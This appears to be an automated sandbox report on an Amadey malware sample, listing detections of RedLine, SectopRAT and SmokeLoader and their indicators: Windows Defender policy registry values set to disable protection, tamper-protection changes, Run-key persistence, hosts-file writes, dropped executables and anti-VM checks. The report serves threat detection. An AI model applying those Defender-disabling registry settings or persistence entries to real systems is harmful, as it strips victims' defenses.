amadey | a0b8e3e0f477566772030f1e7d50739c63770dba92b5aa1eb48848cd19d89d82

Windows Service

Disable or Modify Tools

T1562.001

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection	1Bn54Dz6.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	1Bn54Dz6.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIOAVProtection = "1"	1Bn54Dz6.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1"	1Bn54Dz6.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	1Bn54Dz6.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1"	1Bn54Dz6.exe

RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

RedLine payload 13 IoCs

resource	yara_rule
behavioral1/memory/3756-59-0x0000000000400000-0x000000000043C000-memory.dmp	family_redline
behavioral1/files/0x0005000000022449-115.dat	family_redline
behavioral1/files/0x0005000000022449-117.dat	family_redline
behavioral1/files/0x0006000000022e2c-136.dat	family_redline
behavioral1/files/0x0006000000022e2c-135.dat	family_redline
behavioral1/memory/4548-138-0x00000000002A0000-0x00000000002DC000-memory.dmp	family_redline
behavioral1/files/0x0007000000022433-153.dat	family_redline
behavioral1/files/0x0007000000022433-160.dat	family_redline
behavioral1/memory/1888-161-0x0000000000040000-0x000000000005E000-memory.dmp	family_redline
behavioral1/memory/4064-184-0x00000000005A0000-0x00000000005FA000-memory.dmp	family_redline
behavioral1/memory/4064-242-0x0000000000400000-0x0000000000472000-memory.dmp	family_redline
behavioral1/memory/4600-685-0x0000000000150000-0x000000000018E000-memory.dmp	family_redline
behavioral1/memory/3884-686-0x0000000000B80000-0x0000000000BBC000-memory.dmp	family_redline

SectopRAT
SectopRAT is a remote access trojan first seen in November 2019.
trojan rat sectoprat

SectopRAT payload 3 IoCs

resource	yara_rule
behavioral1/files/0x0007000000022433-153.dat	family_sectoprat
behavioral1/files/0x0007000000022433-160.dat	family_sectoprat
behavioral1/memory/1888-161-0x0000000000040000-0x000000000005E000-memory.dmp	family_sectoprat

SmokeLoader
Modular backdoor trojan in use since 2014.
trojan backdoor smokeloader

Suspicious use of NtCreateUserProcessOtherParentProcess 9 IoCs

description	pid	Process	procid_target
PID 4736 created 3320	4736	latestX.exe	39
PID 4736 created 3320	4736	latestX.exe	39
PID 4736 created 3320	4736	latestX.exe	39
PID 4736 created 3320	4736	latestX.exe	39
PID 4736 created 3320	4736	latestX.exe	39
PID 1576 created 3320	1576	updater.exe	39
PID 1576 created 3320	1576	updater.exe	39
PID 1576 created 3320	1576	updater.exe	39
PID 1576 created 3320	1576	updater.exe	39

Blocklisted process makes network request 2 IoCs

flow	pid	Process
98	3344	rundll32.exe
102	5004	rundll32.exe

Downloads MZ/PE file

Drops file in Drivers directory 2 IoCs

description	ioc	Process
File created	C:\Windows\System32\drivers\etc\hosts	latestX.exe
File created	C:\Windows\System32\drivers\etc\hosts	updater.exe

Modifies Windows Firewall 1 TTPs 1 IoCs

evasion

Windows Service

pid	Process
3060	netsh.exe

Stops running service(s) 3 TTPs
evasion

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Checks computer location settings 2 TTPs 5 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1114462139-3090196418-29517368-1000\Control Panel\International\Geo\Nation	4E1E.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1114462139-3090196418-29517368-1000\Control Panel\International\Geo\Nation	5B31.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1114462139-3090196418-29517368-1000\Control Panel\International\Geo\Nation	Utsysc.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1114462139-3090196418-29517368-1000\Control Panel\International\Geo\Nation	kos4.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1114462139-3090196418-29517368-1000\Control Panel\International\Geo\Nation	7rU8OA79.exe

Executes dropped EXE 40 IoCs

pid	Process
3584	ay6gH85.exe
3068	ZJ4Kd86.exe
4828	Tg7fO10.exe
4540	gT2FV59.exe
2332	1Bn54Dz6.exe
3136	2px0864.exe
4824	3hr39Gy.exe
3344	4at211pC.exe
4444	6jR8KL3.exe
3416	7rU8OA79.exe
3628	2D26.exe
1760	310F.exe
640	IN9Hc8mW.exe
1040	CD3zP7NP.exe
1596	32F4.exe
3372	Dm8bz1jV.exe
1216	1Ac99vG2.exe
4548	2oL344bY.exe
3460	4E1E.exe
4064	535F.exe
1888	54B8.exe
2592	5B31.exe
4536	InstallSetup5.exe
2792	toolspub2.exe
1588	Broom.exe
1184	Utsysc.exe
4712	31839b57a4f11171d6abc8bbc4451ee4.exe
2768	kos4.exe
4736	latestX.exe
4668	toolspub2.exe
2600	C517.exe
2624	Utsysc.exe
4908	31839b57a4f11171d6abc8bbc4451ee4.exe
1572	EF74.exe
3656	F2A1.exe
1576	updater.exe
384	csrss.exe
2060	injector.exe
2516	windefender.exe
4560	windefender.exe

Loads dropped DLL 5 IoCs

pid	Process
4064	535F.exe
4064	535F.exe
3136	rundll32.exe
5004	rundll32.exe
3344	rundll32.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/2516-836-0x0000000000400000-0x00000000008DF000-memory.dmp	upx

Windows security modification 2 TTPs 2 IoCs

evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Features\TamperProtection = "0"	1Bn54Dz6.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Features	1Bn54Dz6.exe

Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Adds Run key to start application 2 TTPs 11 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup4 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP004.TMP\\\""	gT2FV59.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\""	2D26.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup1 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP001.TMP\\\""	IN9Hc8mW.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup2 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP003.TMP\\\""	CD3zP7NP.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\""	a0b8e3e0f477566772030f1e7d50739c63770dba92b5aa1eb48848cd19d89d82.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup1 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP001.TMP\\\""	ay6gH85.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup2 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP002.TMP\\\""	ZJ4Kd86.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup3 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP003.TMP\\\""	Tg7fO10.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup3 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP004.TMP\\\""	Dm8bz1jV.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1114462139-3090196418-29517368-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\csrss = "\"C:\\Windows\\rss\\csrss.exe\""	csrss.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1114462139-3090196418-29517368-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\csrss = "\"C:\\Windows\\rss\\csrss.exe\""	31839b57a4f11171d6abc8bbc4451ee4.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012
Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Manipulates WinMonFS driver. 1 IoCs

Roottkits write to WinMonFS to hide directories/files from being detected.

rootkit evasion

description	ioc	Process
File opened for modification	\??\WinMonFS	csrss.exe

Drops file in System32 directory 9 IoCs

description	ioc	Process
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive	powershell.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive	powershell.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe

Suspicious use of SetThreadContext 6 IoCs

description	pid	Process	procid_target
PID 3136 set thread context of 3960	3136	2px0864.exe	103
PID 3344 set thread context of 3756	3344	4at211pC.exe	111
PID 1216 set thread context of 412	1216	1Ac99vG2.exe	136
PID 2792 set thread context of 4668	2792	toolspub2.exe	170
PID 1572 set thread context of 4600	1572	EF74.exe	217
PID 2600 set thread context of 3884	2600	Process not Found	216

Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 1 IoCs

Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.

System Information Discovery

description	ioc	Process
File opened (read-only)	\??\VBoxMiniRdrDN	31839b57a4f11171d6abc8bbc4451ee4.exe

Drops file in Program Files directory 1 IoCs

description	ioc	Process
File created	C:\Program Files\Google\Chrome\updater.exe	latestX.exe

Drops file in Windows directory 4 IoCs

description	ioc	Process
File opened for modification	C:\Windows\rss	31839b57a4f11171d6abc8bbc4451ee4.exe
File created	C:\Windows\rss\csrss.exe	31839b57a4f11171d6abc8bbc4451ee4.exe
File created	C:\Windows\windefender.exe	csrss.exe
File opened for modification	C:\Windows\windefender.exe	csrss.exe

Launches sc.exe 11 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
4740	sc.exe
860	sc.exe
1872	sc.exe
4728	sc.exe
2804	sc.exe
964	sc.exe
2540	sc.exe
3232	sc.exe
932	sc.exe
1304	sc.exe
4516	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 6 IoCs

pid	pid_target	Process	procid_target
3944	3960	WerFault.exe	103
932	3136	WerFault.exe	100
2468	3344	WerFault.exe	109
3248	412	WerFault.exe	136
3820	1216	WerFault.exe	134
4528	4064	WerFault.exe	143

Checks SCSI registry key(s) 3 TTPs 6 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	toolspub2.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	3hr39Gy.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	3hr39Gy.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	3hr39Gy.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	toolspub2.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	toolspub2.exe

Creates scheduled task(s) 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

pid	Process
4040	schtasks.exe
3572	schtasks.exe
2192	schtasks.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-661 = "Cen. Australia Daylight Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-362 = "GTB Standard Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-2772 = "Omsk Standard Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-1972 = "Belarus Standard Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-911 = "Mauritius Daylight Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-2751 = "Tomsk Daylight Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-221 = "Alaskan Daylight Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-752 = "Tonga Standard Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-461 = "Afghanistan Daylight Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-402 = "Arabic Standard Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-2371 = "Easter Island Daylight Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-672 = "AUS Eastern Standard Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-842 = "Argentina Standard Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-2042 = "Eastern Standard Time (Mexico)"	31839b57a4f11171d6abc8bbc4451ee4.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-365 = "Middle East Standard Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-191 = "Mountain Daylight Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-131 = "US Eastern Daylight Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-181 = "Mountain Daylight Time (Mexico)"	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-1862 = "Russia TZ 6 Standard Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-2491 = "Aus Central W. Daylight Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-2631 = "Norfolk Daylight Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-452 = "Caucasus Standard Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-2432 = "Cuba Standard Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-141 = "Canada Central Daylight Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-282 = "Central Europe Standard Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-831 = "SA Eastern Daylight Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-2792 = "Novosibirsk Standard Time"	31839b57a4f11171d6abc8bbc4451ee4.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2332	1Bn54Dz6.exe
2332	1Bn54Dz6.exe
4824	3hr39Gy.exe
4824	3hr39Gy.exe
3320	Explorer.EXE
3320	Explorer.EXE
3320	Explorer.EXE
3320	Explorer.EXE
3320	Explorer.EXE
3320	Explorer.EXE
3320	Explorer.EXE
3320	Explorer.EXE
3320	Explorer.EXE
3320	Explorer.EXE
3320	Explorer.EXE
3320	Explorer.EXE
3320	Explorer.EXE
3320	Explorer.EXE
3320	Explorer.EXE
3320	Explorer.EXE
3320	Explorer.EXE
3320	Explorer.EXE
3320	Explorer.EXE
3320	Explorer.EXE
3320	Explorer.EXE
3320	Explorer.EXE
3320	Explorer.EXE
3320	Explorer.EXE
3320	Explorer.EXE
3320	Explorer.EXE
3320	Explorer.EXE
3320	Explorer.EXE
3320	Explorer.EXE
3320	Explorer.EXE
3320	Explorer.EXE
3320	Explorer.EXE
3320	Explorer.EXE
3320	Explorer.EXE
3320	Explorer.EXE
3320	Explorer.EXE
3320	Explorer.EXE
3320	Explorer.EXE
3320	Explorer.EXE
3320	Explorer.EXE
3320	Explorer.EXE
3320	Explorer.EXE
3320	Explorer.EXE
3320	Explorer.EXE
3320	Explorer.EXE
3320	Explorer.EXE
3320	Explorer.EXE
3320	Explorer.EXE
3320	Explorer.EXE
3320	Explorer.EXE
3320	Explorer.EXE
3320	Explorer.EXE
3320	Explorer.EXE
3320	Explorer.EXE
3320	Explorer.EXE
3320	Explorer.EXE
3320	Explorer.EXE
3320	Explorer.EXE
3320	Explorer.EXE
3320	Explorer.EXE

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
3320	Explorer.EXE

Suspicious behavior: MapViewOfSection 2 IoCs

pid	Process
4824	3hr39Gy.exe
4668	toolspub2.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2332	1Bn54Dz6.exe
Token: SeShutdownPrivilege	3320	Explorer.EXE
Token: SeCreatePagefilePrivilege	3320	Explorer.EXE
Token: SeShutdownPrivilege	3320	Explorer.EXE
Token: SeCreatePagefilePrivilege	3320	Explorer.EXE
Token: SeShutdownPrivilege	3320	Explorer.EXE
Token: SeCreatePagefilePrivilege	3320	Explorer.EXE
Token: SeShutdownPrivilege	3320	Explorer.EXE
Token: SeCreatePagefilePrivilege	3320	Explorer.EXE
Token: SeShutdownPrivilege	3320	Explorer.EXE
Token: SeCreatePagefilePrivilege	3320	Explorer.EXE
Token: SeShutdownPrivilege	3320	Explorer.EXE
Token: SeCreatePagefilePrivilege	3320	Explorer.EXE
Token: SeShutdownPrivilege	3320	Explorer.EXE
Token: SeCreatePagefilePrivilege	3320	Explorer.EXE
Token: SeShutdownPrivilege	3320	Explorer.EXE
Token: SeCreatePagefilePrivilege	3320	Explorer.EXE
Token: SeShutdownPrivilege	3320	Explorer.EXE
Token: SeCreatePagefilePrivilege	3320	Explorer.EXE
Token: SeShutdownPrivilege	3320	Explorer.EXE
Token: SeCreatePagefilePrivilege	3320	Explorer.EXE
Token: SeShutdownPrivilege	3320	Explorer.EXE
Token: SeCreatePagefilePrivilege	3320	Explorer.EXE
Token: SeShutdownPrivilege	3320	Explorer.EXE
Token: SeCreatePagefilePrivilege	3320	Explorer.EXE
Token: SeShutdownPrivilege	3320	Explorer.EXE
Token: SeCreatePagefilePrivilege	3320	Explorer.EXE
Token: SeShutdownPrivilege	3320	Explorer.EXE
Token: SeCreatePagefilePrivilege	3320	Explorer.EXE
Token: SeShutdownPrivilege	3320	Explorer.EXE
Token: SeCreatePagefilePrivilege	3320	Explorer.EXE
Token: SeShutdownPrivilege	3320	Explorer.EXE
Token: SeCreatePagefilePrivilege	3320	Explorer.EXE
Token: SeShutdownPrivilege	3320	Explorer.EXE
Token: SeCreatePagefilePrivilege	3320	Explorer.EXE
Token: SeShutdownPrivilege	3320	Explorer.EXE
Token: SeCreatePagefilePrivilege	3320	Explorer.EXE
Token: SeShutdownPrivilege	3320	Explorer.EXE
Token: SeCreatePagefilePrivilege	3320	Explorer.EXE
Token: SeShutdownPrivilege	3320	Explorer.EXE
Token: SeCreatePagefilePrivilege	3320	Explorer.EXE
Token: SeShutdownPrivilege	3320	Explorer.EXE
